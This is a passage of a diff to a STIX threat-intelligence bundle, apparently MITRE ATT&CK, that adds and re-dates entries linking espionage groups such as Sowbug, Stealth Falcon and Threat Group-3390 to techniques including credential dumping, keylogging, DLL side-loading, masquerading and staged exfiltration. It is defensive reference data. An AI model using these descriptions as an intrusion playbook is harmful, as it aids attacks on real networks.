+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "identified and extracted all Word documents on a server by using a command containing *.doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "listed remote shared drives that were accessible from a victim.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory <code>CSIDL_APPDATA\\microsoft\\security</code>.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "obtained OS version and hardware configuration from a victim.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d93265a6-1f92-472b-9e47-48b7863d8171",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has used credential dumping tools.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has used keylogging tools.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b2496438-9431-40e5-8ca0-2ec713f342c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--64aab090-e7c2-4114-8c15-49700b611fb8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--94b4648a-4108-468c-be51-cca365fd97ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers system information via Windows Management Instrumentation (WMI).",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30801,7 +37069,7 @@
             "id": "relationship--e2e33068-b08e-45fd-89e0-0cf79868f902",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30822,7 +37090,7 @@
             "id": "relationship--efbe5efa-6863-4334-90e5-d7caab9806a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30843,7 +37111,7 @@
             "id": "relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers the registered user and primary owner name via WMI.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30864,7 +37132,7 @@
             "id": "relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware attempts to determine the installed version of .NET by querying the Registry.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30885,7 +37153,7 @@
             "id": "relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware creates a scheduled task entitled \u201cIE Web Cache\u201d to execute a malicious file hourly.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30906,7 +37174,7 @@
             "id": "relationship--782da600-bc3b-4dae-89d1-4a79522bed02",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware communicates with its C2 server via HTTPS.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30927,7 +37195,7 @@
             "id": "relationship--73da57b5-e64f-44ee-85f7-d294c21fb534",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware encrypts C2 traffic using RC4 with a hard-coded key.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30948,7 +37216,7 @@
             "id": "relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers the Address Resolution Protocol (ARP) table from the victim.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30969,7 +37237,7 @@
             "id": "relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers a list of running processes.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -30990,7 +37258,7 @@
             "id": "relationship--4d3e4232-1330-45a9-9e90-9914eed276a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -31011,7 +37279,7 @@
             "id": "relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After data is collected by Stealth Falcon malware, it is exfiltrated over the existing C2 channel.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -31032,7 +37300,7 @@
             "id": "relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4",
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             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers data from the local victim system.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -31053,7 +37321,7 @@
             "id": "relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware uses PowerShell and WMI to script data collection and command execution on the victim.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
@@ -31074,7 +37342,7 @@
             "id": "relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Strider has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.",
             "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
@@ -31086,7 +37354,7 @@
                 {
                     "source_name": "Kaspersky ProjectSauron Blog",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
-                    "url": "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/"
+                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/"
                 }
             ]
         },
@@ -31095,7 +37363,7 @@
             "id": "relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Strider has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password.",
             "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
@@ -31116,7 +37384,7 @@
             "id": "relationship--edea5971-fc27-4637-8de9-aabcd50784a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
             "target_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -31129,7 +37397,7 @@
             "id": "relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly has used stolen certificates to sign its malware.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
@@ -31150,7 +37418,7 @@
             "id": "relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly used a signed credential-dumping tool to obtain victim account credentials.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
@@ -31171,7 +37439,7 @@
             "id": "relationship--82b679af-7408-4f41-8fc0-5b0cf5993726",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
@@ -31192,7 +37460,7 @@
             "id": "relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly the victim's internal network for hosts with ports 8080, 5900, and 40 open.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
@@ -31213,7 +37481,7 @@
             "id": "relationship--13a8be40-1190-4553-b026-58c5088c322a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several tools used by Suckfly have been command-line driven.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
@@ -31234,7 +37502,7 @@
             "id": "relationship--01b924d7-42dd-412f-a9af-cabcb46512ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
             "target_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
@@ -31247,7 +37515,7 @@
             "id": "relationship--bdba5fef-c560-4b8a-9ce5-616395a73841",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Taidoor uses RC4 to encrypt the message body of HTTP content.",
             "source_ref": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46",
@@ -31268,7 +37536,7 @@
             "id": "relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors used a victim's endpoint management platform, Altiris, for lateral movement.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
@@ -31289,7 +37557,7 @@
             "id": "relationship--c6358f18-fc64-46f5-8939-66e5258dd83d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
@@ -31310,7 +37578,7 @@
             "id": "relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors mapped network drives using <code>net use</code>.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
@@ -31331,7 +37599,7 @@
             "id": "relationship--289e01df-60e6-4eee-830e-9d742ac10c86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors spawned shells on remote systems on a victim network to execute commands.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
@@ -31352,7 +37620,7 @@
             "id": "relationship--f1af286d-9367-45de-aced-a762838e58bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -31365,7 +37633,7 @@
             "id": "relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -31378,7 +37646,7 @@
             "id": "relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors installed a credential logger on Microsoft Exchange servers.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31399,7 +37667,7 @@
             "id": "relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors have used gsecdump and a modified version of Mimikatz called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31425,7 +37693,7 @@
             "id": "relationship--2a93ea80-d0f6-4b81-887d-8911f7573245",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors have used DLL side-loading. Actors have used legitimate Kaspersky anti-virus variants in which the DLL acts as a stub loader that loads and executes the shell code.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31451,7 +37719,7 @@
             "id": "relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "C2 traffic for most Threat Group-3390 tools occurs over ports 53, 80, and 443.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31472,7 +37740,7 @@
             "id": "relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors use the Hunter tool to conduct network service discovery for vulnerable systems.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31493,7 +37761,7 @@
             "id": "relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors use at to schedule tasks to run self-extracting RAR archives, which install HTTPBrowser or PlugX on other victims on a network.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31507,7 +37775,7 @@
             "id": "relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31528,7 +37796,7 @@
             "id": "relationship--c8c5b766-a719-43bd-988a-cb00beedbba3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31549,7 +37817,7 @@
             "id": "relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors have split RAR files for exfiltration into parts.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31570,7 +37838,7 @@
             "id": "relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has staged encrypted archives for exfiltration on Internet-facing servers that had previously been compromised with China Chopper.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31591,7 +37859,7 @@
             "id": "relationship--aec0a948-428f-4327-b466-a0472da12928",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31612,7 +37880,7 @@
             "id": "relationship--6a1693a7-1e85-48b6-9097-11339a987099",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
